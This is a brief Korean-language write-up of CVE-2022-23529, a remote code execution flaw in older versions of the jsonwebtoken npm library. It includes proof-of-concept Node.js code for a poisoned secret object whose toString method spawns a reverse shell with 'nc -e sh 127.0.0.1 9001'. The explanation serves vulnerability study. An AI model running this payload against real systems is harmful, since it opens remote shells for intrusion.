CVE-2022-23529

JSON Web Token (JWT) 라이브러리 3.4.6, 4.0.4, 4.1.5 미만 버전은 RCE에 취약합니다.

HMAC 해싱 함수는 모든 문자열을 입력으로 받아들이므로 RCE가 발생합니다.

전제 조건으로 인해 이 취약점은 악용될 가능성이 낮습니다.

이 취약점을 악용하려면 공격자는 다음 조건 중 하나를 만족해야 합니다:

• 서버가 비밀 키를 안전하게 저장하지 않습니다.
• 공격자가 비밀 키에 접근하고 제어할 수 있어야 합니다.

npm install [email protected]

var jwt = require('jsonwebtoken');

서버의 비밀을 사용하여 토큰 생성

var token = jwt.sign({"x":"y"}, 'servers_secret');

리버스 셸을 포함한 악성 객체 생성 (node.js)

var poisoned_secret_on_server = { 
    toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
        process.on('exit', ()=> {
            require('child_process').exec('nc -e sh 127.0.0.1 9001');
        });
        process.exit(0)
    }
}